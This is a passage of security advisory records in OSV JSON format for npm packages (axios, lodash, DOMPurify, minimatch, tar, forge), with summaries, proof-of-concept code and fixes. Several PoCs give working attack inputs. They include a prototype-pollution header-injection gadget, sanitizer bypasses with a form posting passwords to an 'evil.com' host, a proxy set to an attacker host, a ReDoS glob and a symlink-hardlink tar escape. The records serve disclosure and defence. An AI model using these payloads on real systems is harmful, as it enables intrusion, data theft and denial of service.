  "published": "2026-03-26T22:05:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:33:25Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nFor stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.\n\n### Details\n\nRelevant flow in lib/adapters/http.js:\n  - 556-564: maxBodyLength check applies only to buffered/non-stream data.\n  - 681-682: maxRedirects === 0 selects native http/https transport.\n  - 694-699: options.maxBodyLength is set, but native transport does not enforce it.\n  - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.\n\nThis creates a path-specific bypass for streamed uploads.\n\n  ### PoC\n\nEnvironment:\n\n  - Axios main at commit f7a4ee2\n  - Node v24.2.0\n\n  Steps:\n  1. Start an HTTP server that counts uploaded bytes and returns {received}.\n  2. Send a 2 MiB Readable stream with:\n      - adapter: \u0027http\u0027\n      - maxBodyLength: 1024\n      - maxRedirects: 0\n\n  Observed:\n  - Request succeeds; server reports received: 2097152.\n\n  Control checks:\n  - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.\n  - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.\n\n  ### Impact\nType: DoS / uncontrolled upstream upload / resource exhaustion.\nImpacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.",
  "id": "GHSA-5c9x-8gcm-mpgx",
  "modified": "2026-05-05T00:33:25Z",
  "published": "2026-05-05T00:33:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42034"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios\u0027 HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42035"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:25:47Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.\n\nThe vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself \u2014 any prototype pollution primitive in any dependency in the application\u0027s dependency tree is sufficient to trigger this gadget.\n\nPrerequisites:\n\nA prototype pollution primitive must exist somewhere in the application\u0027s dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.\nThe application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).\n\n### Details\n\nThe vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:\n\n```javascript\n// lib/adapters/http.js \n} else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n    headers.set(data.getHeaders());\n    // ...\n}\n```\n\nAxios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:\n\n**1. `utils.isFormData(data)` \u2014 `lib/utils.js`**\n```javascript\nconst isFormData = (thing) =\u003e {\n  let kind;\n  return thing \u0026\u0026 (\n    (typeof FormData === \u0027function\u0027 \u0026\u0026 thing instanceof FormData) || (\n      isFunction(thing.append) \u0026\u0026 ( \n        (kind = kindOf(thing)) === \u0027formdata\u0027 ||  \n        (kind === \u0027object\u0027 \u0026\u0026 isFunction(thing.toString) \u0026\u0026 thing.toString() === \u0027[object FormData]\u0027)\n      )\n    )\n  )\n}\n```\n\n**2. `utils.isFunction(data.getHeaders)` \u2014 Duck-type for `form-data` npm package**\n```javascript\n// Returns true if Object.prototype.getHeaders is a function\nutils.isFunction(data.getHeaders) \n```\n\n### PoC\n\n```javascript\n// Simulate Prototype Pollution\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = () =\u003e {};\nObject.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    (.... Introduce here all the headers you want ....)\n    return headers;\n};\nObject.prototype.pipe = function(d) { if(d\u0026\u0026d.end)d.end(); return d; };\nObject.prototype.on = function() { return this; };\nObject.prototype.once = function() { return this; };\n\n// Legitimate application code\nconst response = await axios.post(\u0027https://internal-api.company.com/admin/delete\u0027, \n    { userId: 42 },\n    { headers: { \u0027Authorization\u0027: \u0027Bearer VALID_USER_TOKEN\u0027 } }\n);\n```\n\n### Impact\n\n- Authentication Bypass (CVSS: C:H)\n- Session Fixation (CVSS: I:H)\n- Privilege Escalation (CVSS: C:H, I:H)\n- IP Spoofing / WAF Bypass (CVSS: I:H)\n\n**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.\n\n### Recommended Fix\n\nAdd an explicit own-property check in `lib/adapters/http.js`:\n\n```diff\n- } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n-     headers.set(data.getHeaders());\n+ } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders) \u0026\u0026\n+            Object.prototype.hasOwnProperty.call(data, \u0027getHeaders\u0027)) {\n+     headers.set(data.getHeaders());\n```",
  "id": "GHSA-6chq-wfr3-2hj9",
  "modified": "2026-05-05T00:25:47Z",
  "published": "2026-05-05T00:25:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Header Injection via Prototype Pollution"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "lodash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "lodash-es"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "lodash-amd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "lodash.unset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:50:27Z",
    "nvd_published_at": "2026-03-31T20:16:26Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\n### Patches\n\nThis issue is patched in 4.18.0.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
  "id": "GHSA-f23m-r3pf-42rh",
  "modified": "2026-04-01T23:50:27Z",
  "published": "2026-04-01T23:50:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lodash/lodash/security/advisories/GHSA-f23m-r3pf-42rh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lodash/lodash"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:34:17Z",
    "nvd_published_at": "2026-04-23T16:16:26Z",
    "severity": "MODERATE"
  },
  "details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027iframe\u0027]\n      }\n    );\n    // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n    // Expected: \u0027\u0027 (iframe forbidden)\n\n    DOMPurify.sanitize(\n      \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027form\u0027]\n      }\n    );\n    // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n    // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: [\u0027onclick\u0027]\n      }\n    );\n    // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
  "id": "GHSA-h7mw-gpvr-xq4m",
  "modified": "2026-04-27T16:32:31Z",
  "published": "2026-04-22T17:34:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:40:17Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching \u2014 it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = \u0027localhost\u0027;\nprocess.env.http_proxy = \u0027http://attacker-proxy:8888\u0027;\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % \u003e....                     \n    process.env.http_proxy = \u0027http://127.0.0.1:8888\u0027;\n\n    console.log(\u0027=== Test 1: localhost (should bypass proxy) ===\u0027);\n    try {\n      await axios.get(\u0027http://localhost:7777/\u0027);\n    } catch(e) {\n      console.log(\u0027Error:\u0027, e.message);\n    }\n\n    console.log(\u0027\u0027);\n    console.log(\u0027=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\u0027);\n    try {\n      await axios.get(\u0027http://127.0.0.1:7777/\u0027);\n    } catch(e) {\n      console.log(\u0027Error:\u0027, e.message);\n    }\n\n    fakeProxy.close();\n    internalServer.close();\n  });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\n\u2705 Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n\ud83d\udea8 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n\ud83d\udea8 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n\u003cimg width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" /\u003e\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases \u2014 localhost, 127.0.0.1, and ::1 should all be treated as equivalent.",
  "id": "GHSA-m7pr-hjqh-92cm",
  "modified": "2026-05-05T00:40:17Z",
  "published": "2026-05-05T00:40:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42038"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: no_proxy bypass via IP alias allows SSRF"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:38:11Z",
    "nvd_published_at": "2026-02-20T03:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn\u0027t appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8\u0027s regex engine backtracks exponentially across all possible splits.\n\nThe time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### PoC\nWhen minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`:\n\n```\n/^(?!\\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/\n```\n\nWhen the test string doesn\u0027t contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) \u2014 exponential.\n### Impact\nAny application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes:\n- File search/filter UIs that accept glob patterns\n- `.gitignore`-style filtering with user-defined rules\n- Build tools that accept glob configuration\n- Any API that exposes glob matching to untrusted input\n\n----\n\nThanks to @ljharb for back-porting the fix to legacy versions of minimatch.",
  "id": "GHSA-3ppc-4f35-3m26",
  "modified": "2026-02-24T20:59:57Z",
  "published": "2026-02-18T22:38:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26996"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T00:57:13Z",
    "nvd_published_at": "2026-02-20T02:16:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.\n\nThis enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).\n\nSeverity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.\n\n### Details\nThe bypass chain uses two symlinks plus one hardlink:\n\n1. `a/b/c/up -\u003e ../..`\n2. `a/b/escape -\u003e c/up/../..`\n3. `exfil` (hardlink) -\u003e `a/b/escape/\u003ctarget-relative-to-parent-of-extract\u003e`\n\nWhy this works:\n\n- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.\n  - See `STRIPABSOLUTEPATH` logic in:\n    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`\n    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`\n    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`\n\n- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`\n\n- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`\n\nAs a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.\n\n### PoC\n[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)\nEnvironment used for validation:\n\n- Node: `v25.4.0`\n- tar: `7.5.7`\n- OS: macOS Darwin 25.2.0\n- Extract options: defaults (`tar.extract({ file, cwd })`)\n\nSteps:\n\n1. Prepare/locate a `tar` module. If `require(\u0027tar\u0027)` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.\n\n2. Run:\n\n```bash\nTAR_MODULE=\"$(cd \u0027../tar-audit-setuid - CVE/node_modules/tar\u0027 \u0026\u0026 pwd)\" node hardlink.js\n```\n\n3. Expected vulnerable output (key lines):\n\n```text\nsame_inode=true\nread_ok=true\nwrite_ok=true\nresult=VULNERABLE\n```\n\nInterpretation:\n\n- `same_inode=true`: extracted `exfil` and external secret are the same file object.\n- `read_ok=true`: reading `exfil` leaks external content.\n- `write_ok=true`: writing `exfil` modifies external file.\n\n### Impact\nVulnerability type:\n\n- Arbitrary file read/write via archive extraction path confusion and link resolution.\n\nWho is impacted:\n\n- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.\n- Impact scope is the privileges of the extracting process user.\n\nPotential outcomes:\n\n- Read sensitive files reachable by the process user.\n- Overwrite writable files outside extraction root.\n- Escalate impact depending on deployment context (keys, configs, scripts, app data).",
  "id": "GHSA-83g3-92jg-28cx",
  "modified": "2026-02-20T16:47:48Z",
  "published": "2026-02-18T00:57:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.10"
            }
          ],
